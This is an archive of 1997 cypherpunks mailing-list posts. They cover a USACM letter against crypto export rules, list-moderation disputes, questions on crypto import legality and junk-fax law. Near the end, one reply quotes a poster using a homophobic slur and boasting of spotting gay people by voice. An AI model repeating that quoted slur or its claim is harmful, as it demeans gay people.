> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.

> Therefore, it would be a Good Thing to continue any discussion on
> alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> Sending out boosters every couple of weeks wouldn't hurt, either.

  So, basically, you're saying that the flight from censorship should
be toward a new CypherPunk 'home' where one is effectively censored
automatically unless one kisses the ass of a Cabal?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 08:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <Pine.GSO.3.95.970214082902.18332C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: USACM analysis of Commerce Dept crypto export proposals

February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 14 Feb 1997 09:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <199702141704.JAA03249@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

[Fluffy Gilmore apologia by Declan expunged]

Two small points.

1.  The rift between Gilmore/EFF and Cypherpunks is hardly
    of recent origin, and dates back to when the EFF first
    demonstrated to horrified Cypherpunks that its policy
    would be one of appeasement and capitulation towards
    clearly unacceptable legislation.  This is all in the
    archives, including Tim May's essay on why he chose not
    to renew his EFF membership.

2.  The article fails to mention Gilmore's new nickname. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Fri, 14 Feb 1997 06:21:30 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
In-Reply-To: <199702140711.XAA25330@toad.com>
Message-ID: <sjm3euzxyct.fsf@incommunicado.ihtfp.org>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar <anand@querisoft.com> writes:

> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

Not currently.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 05:07:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140723.XAA25771@toad.com>
Message-ID: <199702140921.JAA00328@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
>        But the veteran cypherpunk came under heavy fire in November 1996,
>    when a loudmouthed flamer flooded the list with flame bait and ad
>    hominem attacks on various members. Finally, Gilmore, ironically, gave
>    him the boot [...]
>
>        Indeed, for months Gilmore seemed unable to do anything right. He
>    tried moderation, which proved to be even more contentious, [...]
>    
>        After the expulsion, some of the longtime list denizens left
>    angrily, joining the 700 subscribers who had departed since the
>    controversy began. One of those was Tim C. May, a crusty former Intel
>    engineer who prides himself as the organizer of the first cypherpunk
>    meeting in September 1992. 

Tim left when the moderation experiment started, not after John
unsubscribed Dimitri, and blocked him from re-subscribing.

What does `crusty' mean as applied to a former Intel engineer?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 09:18:00 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140723.XAA25771@toad.com>
Message-ID: <v03007800af2a4ee05395@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:21 AM +0000 2/14/97, Adam Back wrote:
>Declan McCullagh <declan@well.com> writes:

>>        After the expulsion, some of the longtime list denizens left
>>    angrily, joining the 700 subscribers who had departed since the
>>    controversy began. One of those was Tim C. May, a crusty former Intel
>>    engineer who prides himself as the organizer of the first cypherpunk
>>    meeting in September 1992.
>
>Tim left when the moderation experiment started, not after John
>unsubscribed Dimitri, and blocked him from re-subscribing.

Yes, I left after the "moderation" thing was announced as a fait accompli
("it _will_ happen"). Neither Eric Hughes, Hugh Daniel, nor I, as folks who
have had some involvement in the group since the start, were apprised of
this brainstorm. (I did not expect veto power, or a vote, but it would have
been nice to hear, and maybe we could have pointed out the almost
inevitable effects of censorship of the main list and thereby headed off
this public relations screwup.)

By the way, Declan took his comments from me or about me from what I've
written. I haven't met him and our e-mail contact has been minimal.
Importantly, I've always said that Eric Hughes and I were the co-organizers
of the first meeting (and I usually note that it was held at Eric's place
in Oakland). I didn't claim to Declan or anyone else that I was "the"
organizer. But this is a minor error.

>What does `crusty' mean as applied to a former Intel engineer?

And this is a more serious error! :-}

I think "crusty" is just one of those words journalists like to use.
Especially when describing anyone older than themselves.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 14:26:19 -0800 (PST)
To: perry@piermont.com
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <2.2.32.19970214173002.00de52a4@magna.com.au>
MIME-Version: 1.0
Content-Type: text/plain


>The answer is that no one knows, but if the doctrines that apply to
>cargo in transit between countries applied, there would be no
>consequence to it. Of course, that doesn't mean that there will not be
>consequences associated with this given U.S. governmental insanity.

Or it could be dealt with differently, as with a ship that docks for
refueling carrinyg munitions (a catergory shared with crypto), or nuclear
waste (not quite, but you get my point...)

Ben

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 14:18:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970214093244.9500A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike sheds more heat than light on the issue. Gilmore does not always
represent the EFF; not every action of his is an EFF action.

As for the "rift," may observers said at the time that DT was a Jerry
Berman "appeasement and capitulation" scheme. Note Berman no longer works
at EFF. Note EFF is no lnoger in DC.

And yes, I've read Tim May's essay on his EFF membership. I probably would
have had the same reaction.

-Declan


On Fri, 14 Feb 1997, Mike Duvos wrote:

> John Gilmore <gnu@toad.com> writes:
> 
> [Fluffy Gilmore apologia by Declan expunged]
> 
> Two small points.
> 
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 
> 2.  The article fails to mention Gilmore's new nickname. :)
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 09:29:58 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <199702141131.DAA17173@idiom.com>
Message-ID: <v03007801af2a5196f699@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:31 AM -0800 2/14/97, John C. Randolph wrote:
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc.
>
>That tort of unauthorised use of property applies, whether someone's sending
>me a fax to sell me spamming software, or whether it's some kid ringing
>my doorbell and running away.  It's not the speech that I'm fighting, it's
>the misuse of my property.
>
>Freedom of speech does not confer a right to use other people's property.

Fair enough, John. I can agree that _tort law_ (civil) might be used. If
Party A can convince a jury that Party B did it real damage and can
quantify that damage, maybe Party A can collect.

My main objection is to to blanket laws, known as "junk mail" laws. The
rules for what constitutes "junk" are unclear and give the government
regulatory power which I think it should not have.

Imagine a bureaucrat deciding that solicitations to join the National Rifle
Association are "junk" and ordering the U.S. Postal Service to scrap all
such solicitations. Imagine further that alternate delivery systems, such
as UPS and FedEx are also notified that delivery of NRA material constitute
a crime.

(This is not so far-fetched, especially the "alternate delivery" point. If
the regulators declare a communication to be junk, it remains junk even if
delivered via a different route. If CyberPromotions tries fiddling with the
domain names, as they have, it remains junk to CompuServe and to the
District Court which upholds their decision to censor mail to customers.)

To paraphrase what the CompuServe customer said: "I'll decide what's junk
and what's not."

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 08:41:57 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702140456.UAA21157@toad.com>
Message-ID: <199702141745.JAA19682@songbird.com>
MIME-Version: 1.0
Content-Type: text


ichudov@algebra.com allegedly said:
> 
> Firebeard wrote:
> > 
> > >>>>> Igor Chudov @ home writes:
> > 
> > IC> This is where the distributed nature of the list comes in.  if
> > IC> someone disagrees with Jim's AUP, he or she can use soem other
> > IC> mailing list host.
> > 
> > 	And once I'm up and running, my cypherpunks list server will
> > not be interconnected with any server which has a similar AUP.  The
> > implication of the AUP is that if you _don't_ comply with it, you will
> > be blocked.  Without such an implication, the AUP is meaningless, and
> > I'm dedicated that there should be no filtering/blocking of any kind,
> > of the list.  Persons behaving 'unacceptably' should be handled by
> > social pressures by others in the 'community' of the list, and not by
> > policies of the list operators.
> 
> Which is, again, a perfectly fine idea.
> 
> I would probably disconnect from any server that 
> 
> a) does not let certain messages go through (unless they are fighting a DOS
> attack) and
> b) Alters content of any messages.
> 

I can understand this sentiment, given the events of the past couple 
of months, but it seems short-sighted.  If this scheme grows there 
could be several hundred or more mailers involved, and there is no 
technical reason why moderated lists couldn't be included.

Remember that each list operator actually represents a community of 
users, users who are *free* to go elsewhere if they choose.  Clearly, 
some people would chose to populate a filtered list.  There is no 
reason whatsoever to discriminate against them.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 14 Feb 1997 06:44:37 -0800 (PST)
To: anand abhyankar <cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141444.GAA06809@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 14 Feb 1997 11:51:18 -0800
> From:          anand abhyankar <anand@querisoft.com>
> To:            cypherpunks@toad.com
> Subject:       Re: crypto restrictions

> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.
> 
> anand....

No.


Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 08:11:37 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <855916839.1020920.0@fatmans.demon.co.uk>
Message-ID: <199702141604.KAA32699@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


paul@fatmans.demon.co.uk wrote:
> > > It is too late to stop alt.cypherpunks, but if I had to make a
> > > prediction again, I would predict that soon posters will BEG to help
> > > them create comp.*.cypherpunks, because of spam and alt.flamage.
> > 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. Having a charter state that
> > cypherpunks have technical means to ignore traffic they don't like,
> > and don't need anyone forging cancels or complaining to sysadmins
> > or otherwise getting silenced, is a good idea.
> 
> I don`t believe for one moment that, however well intentioned such a 
> move would be, it would work. The most notorious net.cops who 
> thoroughly deserve the (spit) after their name would take little 
> notice of such a charter and take it upon themselved to "act in the 
> best interests of the usenet community"

That is not necessarily true.

I asked Chris Lewis to not cancel any articles in
soc.culture.russian.moderated (of which I am one of moderators) and it
did not cause any problem. I was very pleased by his reaction.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 14 Feb 1997 10:26:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <199702141826.KAA29727@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:

> Just for the record.  I will not post to USENET given the spamming that
> seems to go to IDs that appear there.  

Helpful hint:  Mung your email address in a way which will confuse
bots, but not humans.  

"From: froomkin@[NO-SPAM]law.miami.edu" should work nicely.  This will
also eliminate mail from very clueless people.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 14 Feb 1997 10:33:09 -0800 (PST)
To: John Gilmore <declan@well.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <v03010d01af2a5a0699db@[17.219.103.204]>
MIME-Version: 1.0
Content-Type: text/plain


My first reaction to the "Death of Cypherpunks" (Declan McCullagh's
article in http://netlynews.com Feb 12, 1997) is that it is another
example of "The Tragedy of the Commons." -- the (unsolvable) problem
of unlimited access to a limited resource. Cypherpunks was also
susceptable to the strange Internet phenomenon where people could be
proud of their anti-social, bad behavior (flame wars, "grafitti" in the
form of spam). For this reason, I suspect that the future of the Internet
in general, and Cyphperpunks in particular, will require serious editorial
control (as is done by the Risks and Privacy digests).

The only other alternative I can see would be to limit membership
-- but not limit what members might write. In the long term, I suppose
we'll have sufficiently intelligent software agents that can recognize
spam and flaming and invisibly delete them from our e-mail in-boxes.

What bothers me more than anything else about the "solutions" I've
seen proposed to the death of Cypherpunks is that they rely on
technology -- and reject human judgement -- to solve what is, in
reality, a social problem.  (One can certainly make the same argument
about the V-chip, browser porn filters, and similar hacks.)

Having been "on" the net for over 15 years -- and with experience
in both ends of the censorship/moderation problem  (I'm probably
the only Cypherpunks member to have had a book "banned in Boston"),
I'm sorry that a handful of sociopaths managed to destroy this
experiment in anarchy, but I suspect that this was inevitable.

Martin Minow
minow@apple.com

ps: (From McCullagh):
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>
Nope: alt.cypherpunks will not be distributed to many sites that would
accept an e-mail list. Also, it's too easy for the disgruntled to forge
cancel group messages. I'm afraid that human judgement is still required.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 09:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dale disses gays.
In-Reply-To: <Pine.LNX.3.95.970214050510.31811A-100000@dhp.com>
Message-ID: <199702141744.KAA28013@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Now just who is thisa guy? -- who keeps posting under
> "nobody" at the cajones remailer?  Anybody have him/her
> tagged yet for the real person?

Probably multiple people.  It's just an anonymous remailer.

> ...
> I don't know.  It has always been easy for me to spot a faggot.  I
> mean, I can even tell by their voice if they are queer.

Well, those of us who happen to know Gilmore is straight are not very
impressed with your accuracy.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Fri, 14 Feb 1997 08:26:28 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <v030078efaf27fd6d6b48@[139.167.130.246]>
Message-ID: <199702141558.KAA28153@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain



	much as the irony of the idea appeals, i am not in a position
to offer a host/machine to run the list.  i *can* offer what i have
learned from running the FreeBSD mailing lists for 2+ years.

	so who has a host/machine, that we can use ;)
jmb

>At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
>                                                   ^^^^^^^
